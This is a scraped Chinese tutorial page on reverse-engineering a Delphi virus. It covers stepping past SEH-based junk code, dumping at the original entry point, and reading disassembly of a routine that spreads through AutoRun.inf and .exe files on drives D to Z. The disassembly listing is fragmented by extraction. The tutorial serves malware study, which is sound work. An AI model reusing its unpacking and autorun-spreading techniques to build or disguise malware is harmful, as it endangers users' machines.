反汇编教程Word文档下载推荐.docx
《反汇编教程Word文档下载推荐.docx》由会员分享,可在线阅读,更多相关《反汇编教程Word文档下载推荐.docx(38页珍藏版)》请在冰豆网上搜索。
![反汇编教程Word文档下载推荐.docx](https://file1.bdocx.com/fileroot1/2023-1/5/4af5f653-a4ca-49e2-9023-cf19f428bff6/4af5f653-a4ca-49e2-9023-cf19f428bff61.gif)
6AFF
-1
0041C08E
6866666600
666666
0041C093
6888888800
888888
;
SE处理程序安装
0041C098
64:
A10000000>
mov
eax,dwordptrfs:
[0]
0041C09E
50
eax
0041C09F
892500000>
dwordptrfs:
[0],esp
0041C0A6
58
pop
0041C0A7
A30000000>
[0],eax
0041C0AD
90
nop
0041C0AE
720C
jb
short0041C0BC
0041C0B0
730A
jnb
0041C0B2
>
0041C0B3
0041C0B4
0041C0B5
0041C0B6
7210
short0041C0C8
0041C0B8
730E
0041C0BA
0000
add
byteptr[eax],al
0041C0BC
0041C0BD
0041C0BE
0041C0BF
0041C0C0
.^72F0
short0041C0B2
0041C0C2
.^73EE
0041C0C4
0041C0C6
0041C0C8
0041C0C9
0041C0CA
0041C0CB
0041C0CC
0041C0CD
0041C0CE
83C401
esp,1
0041C0D1
0041C0D2
0041C0D3
0041C0D4
83C4FF
esp,-1
0041C0D7
0041C0D8
.^0F8276D8FEFFjb
00409954
0041C0DE
.^0F8370D8FEFFjnb
最后2句
玩过免杀的人都知道,这2句合成的效果就是jmp00409954
我们到00409954看看,
00409954
/>
/55
00409955
|.|8BEC
00409957
|.|B90E000000
ecx,0E
0040995C
|>
|6A00
/push
0
0040995E
|.|6A00
|push
00409960
|.|49
|dec
ecx
00409961
|.^|75F9
\jnz
short0040995C
这个头好点熟悉啊,玩破解的人应该知道是什么语言的oep了吧?
!
我们在00409954按F4,dump出来
查壳BorlandDelphi6.0-7.0
成功脱壳去花了,下面就来简单分析这个病毒的工作原理吧
为了安全起见,我推荐在虚拟机或者影子系统上分析
我机子配置比较差,只好直接分析了(一不小心运行就...)
不过为了安全,我们还是对关键的函数下断点
对那些CreateFile,CopyFile,DeleteFile这些文件操作的函数下断
最好还打开文件监控和注册表监控的软件
如果api不熟悉的话,可以用这个软件
LiquidX函数查询宝典V2.0Pro
下载地址
我在这里就直接右键,查找,所以参考文本字符串
可以看到一堆的字符串了
然后双击一些关键的字符串进去简单分析分析算了
比如分析一下这里:
文本字串参考位于d2:
条目557
地址=00408A6A
反汇编=mov
ecx,00408B40
文本字串=ASCII"
AutoRun.inf"
双击来到下面函数:
004089F0
/$
004089F1
|.
004089F3
83C4D0
esp,-30
004089F6
53
ebx
004089F7
56
esi
004089F8
57
edi
004089F9
33C0
xor
eax,eax
初始化一些局部变量
004089FB
8945D0
dwordptr[ebp-30],eax
004089FE
8945D4
dwordptr[ebp-2C],eax
00408A01
8945FC
dwordptr[ebp-4],eax
00408A04
8945F8
dwordptr[ebp-8],eax
00408A07
8945F4
dwordptr[ebp-C],eax
00408A0A
8945F0
dwordptr[ebp-10],eax
00408A0D
eax,eax
00408A0F
00408A10
68F58A4000
00408AF5
00408A15
FF30
[eax]
00408A18
8920
[eax],esp
00408A1B
BE048B4000
esi,00408B04
ASCII"
DEFGHIJKLMNOPQRSTUVWXYZ"
;
看样子是想遍历所有磁盘了
C盘肯定是系统盘,所以不用遍历
00408A20
8D7DD9
lea
edi,dwordptr[ebp-27]
00408A23
B905000000
ecx,5
00408A28
F3:
A5
rep
movsdwordptres:
[edi],dwordptr[esi]
00408A2A
66:
movs
wordptres:
[edi],wordptr[esi]
00408A2C
A4
byteptres:
[edi],byteptr[esi]
00408A2D
8D45D4
eax,dwordptr[ebp-2C]
00408A30
E863C1FFFF
call
00404B98
00408A35
8B55D4
edx,dwordptr[ebp-2C]
00408A38
8D45F8
eax,dwordptr[ebp-8]
00408A3B
B9248B4000
ecx,00408B24
.exe"
00408A40
E82FACFFFF
00403674
00408A45
BE17000000
esi,17
循环0x17次,23次,就是上面的字母数了
00408A4A
8D5DD9
ebx,dwordptr[ebp-27]
00408A4D
8D45D0
/lea
eax,dwordptr[ebp-30]
00408A50
8A13
|mov
dl,byteptr[ebx]
00408A52
E879ABFFFF
|call
004035D0
00408A57
8B55D0
edx,dwordptr[ebp-30]
00408A5A
8D45FC
|lea
eax,dwordptr[ebp-4]
00408A5D
B9348B4000
ecx,00408B34
:
\"
00408A62
E80DACFFFF
00408A67
8D45F4
eax,dwordptr[ebp-C]
00408A6A
B9408B4000
ecx,00408B40
00408A6F
8B55FC
edx,dwordptr[ebp-4]
00408A72
E8FDABFFFF
00408A77
8D45F0
eax,dwordptr[ebp-10]
00408A7A
8B4DF8
ecx,dwordptr[ebp-8]
00408A7D
00408A80
E8EFABFFFF
00408A85
8B45FC
00408A88
E89BADFFFF
00403828
00408A8D
eax
/RootPathName
00408A8E
E8E1B5FFFF
<
jmp.&
kernel32.GetDriveTypeA>
\GetDriveTypeA
00408A93
83F803
|cmp
ax,3
判断是否为固定硬盘
00408A97
7530
|jnz
short00408AC9
不是的话就跳
00408A99
6A00
0
SetFileAttributes的参数,normal属性
00408A9B
8B45F4
00408A9E
E885ADFFFF
00403828
跟进,发现是使eax指向0040382D
00408AA3
8BF8
edi,eax
|
00408AA5
edi
|FileName
00408AA6
E869B6FFFF
kernel32.SetFileAttributesA>
\SetFileAttributesA
00408AAB
/FileName
00408AAC
E89BB5FFFF
kernel32.DeleteFileA>
\DeleteFileA
00408AB1
00408AB3
8B45F0
00408AB6
E86DADFFFF
00408ABB
00408ABD
00408ABE
E851B6FFFF
00408AC3
00408AC4
E883B5FFFF
00408AC9
43
|inc
00408ACA
4E
00408ACB
|.^7580
short00408A4D
00408ACD
00408ACF
5A
edx
00408AD0
59
00408AD1
00408AD2
8910
[eax],edx
00408AD5
68FC8A4000
00408AFC
00408ADA
00408ADD
BA02000000
edx,2
00408AE2
E8EDA9FFFF
004034D4
00408AE7
00408AEA
BA04000000
edx,4
00408AEF
E8E0A9FFFF
00408AF4
\.
C3
retn
这个函数简单看来好像是遍历所有磁盘,把原来的存在的AutoRun.inf以及.exe删掉
然后再放进他自己的AutoRun.inf和病毒.exe
还有其他功能可能要动态分析了,我们简单分析一下就够了,去下一个函数吧
就在刚才那个的下面,找到这个吧
条目563
地址=00408B8B
eax,00408E14
Explorer.Exe"
双击来到下面:
00408B4C
00408B4D
00408B4F
B90A000000
ecx,0A
00408B54
00408B56
00408B58
49